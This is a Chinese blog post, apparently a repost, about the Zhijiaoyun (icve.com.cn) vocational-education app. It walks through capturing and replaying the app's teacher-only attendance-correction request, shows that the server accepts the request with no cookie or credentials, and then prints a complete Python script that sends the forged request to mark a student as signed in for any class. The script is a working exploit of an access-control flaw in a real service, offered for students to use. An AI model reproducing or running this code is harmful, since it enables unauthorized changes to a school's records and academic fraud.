当前位置:网站首页 > 更多 > 编程开发 > 正文

[Python] 职教云-智慧职教,签到补签分析(逆天改命系列)

作者:CC下载站 日期:2020-04-28 00:00:00 浏览:71 分类:编程开发

最一开始,我只试着弄了个职教云签到监控。帮我签到,但是后来居然在一些地方看到各种逆天操作,然后发现全部都是教师权限才能的操作,然后我就对职教云补签进行了抓包分析(别问我教师账号怎么来的,注册即可)。

在用教师账户进行补签操作之后抓到这么一个包,怎么抓包的就说了,这个也不是重点,主要看思路。

这个包是我在职教云手机端抓到的,因为手机版比网页版更老实。

先来看下他的参数:

传递了一些cookie

data,equipmentAppVersion,equipmentModel,equipmentApiVersion

经过目测翻译,加分析值:

equipmentAppVersion:这玩意就是app版本号

equipmentModel:这个是我手机型号

equipmentApiVersion:这个大概估计就是api版本了吧。

然后就是那个最关键的data了,一般来说要传递的值都在data里面吧。

把它复制出来并且url解码之后是一串这样的

为了看得更清楚,给他挪个地方看看

咳咳,继续盲猜之旅。

目前的值有这些:

OpenClassId:这个似乎目测翻译一下就是,开放班级的ID

Id:这玩意就一个ID,是啥ID咱也不知道呀,放着看看

SignId:目测翻译一下,标志ID,估计就是代表这条活动的ID吧

StuId:目测翻译就是学生ID

SignResultType:标志结果类型,咳咳人工机翻,估计意思就是签到的目标状态

SourceType:来源类型?大概这样吧

schoolId:目测翻译就是学校ID

经过上面这一长短的目测翻译大概需要的一些值就是这样了。

现在先试着发一个包看下

结果是修改成功,说明可以自己伪造包然后修改签到状态

但问题是,我们没有老师的账号就没有老师cookie呀,那怎么可以实现那些逆天操作呢,我试着把传递的cookie删除,然后看下结果

然后发现居然也修改成功了,

既然cookie都不要了,那我干脆把手机型号,版本型号这些也删除试试,然后只保留一个data,结果。。。。

除了说职教云老实我还能说什么。到此我们就可以完成补签操作了。

对于上面那几个参数不再次分析了,懒,直接上代码

完整代码在GitHub:https://github.com/vastsa/ZhiJiaoYunQianDao

fromconfigparserimportConfigParser
importrequests

config=ConfigParser()
config.read('config.info')
try:
stuid=config['information']['userid']
except:
importget_cookie


defget_kecheng(time):
data={
'stuId':stuid,
'faceDate':time
}
url='https://zjyapp.icve.com.cn/newmobileapi/faceteach/getStuFaceTeachList'
html=requests.post(url=url,data=data).json()
datalist=html['dataList']
courses=len(datalist)
courseId=[]
courseNmae=[]
classSection=[]
openClassId=[]
foriinrange(courses):
courseNmae.append(datalist[i]['courseName'])
courseId.append(datalist[i]['Id'])
classSection.append(datalist[i]['classSection'])
openClassId.append(datalist[i]['openClassId'])
ifcourses!=0:
print(f'课表如下:')
js=0
foriinrange(courses):
print(f'【{js}】第{classSection[i]}课:{courseNmae[i]}')
js+=1
js=input("请输入你要补签的课堂:")
return{
'courseId':courseId[int(js)],
'openClassId':openClassId[int(js)],
'courses':courses
}
else:
print("同学,你今天无课,好好休息!")


defbuqian(course):
url='https://zjyapp.icve.com.cn/newmobileapi/faceteach/newGetStuFaceActivityList'
data={
'activityId':course['courseId'],
'stuId':stuid,
'classState':'2',
'openClassId':course['openClassId']
}
html=requests.post(url=url,data=data).json()['dataList']
buqianname=[]
buqianid=[]
forjinrange(len(html)):
datatype=html[j]['DataType']
ifdatatype=="签到":
buqianname.append(html[j]['Title'])
buqianid.append(html[j]['Id'])
foriinrange(len(buqianid)):
print(f'【{i}】{buqianname[i]}')
#print(f'【{i}】{buqianid[i]}')
target=int(input("请输入要逆天改命的序号:"))
datas=f'{{"OpenClassId":"{course["openClassId"]}","Id":"{stuid}","SignId":"{buqianid[target]}","StuId":"{stuid}","SignResultType":1,"SourceType":2,"schoolId":"3-3sabgooohfboflpnx6bq"}}'
xdata={
'data':f'{datas}'
}
headers={
'Content-Type':'application/x-www-form-urlencoded',
'Host':'zjyapp.icve.com.cn',
'Connection':'Keep-Alive',
'Accept-Encoding':'gzip',
'User-Agent':'okhttp/3.10.0',
}
bqurl='https://zjyapp.icve.com.cn/newmobileapi/faceteach/changeSignType'
html=requests.post(url=bqurl,headers=headers,data=xdata).json()
ifhtml['code']==1:
print(html['msg'])
print("逆天改命成功,返回菜单")
menu()
else:
print(html['msg'])
print("逆天改命失败,请联系Lan")


defmenu():
print("【欢迎使用职教云补签助手】")
print("By:Lan")
date=input("请输入需要补签的日期如(2020-4-17):")
course=get_kecheng(date)
buqian(course)


if__name__=='__main__':
menu()



您需要 登录账户 后才能发表评论

取消回复欢迎 发表评论:

关灯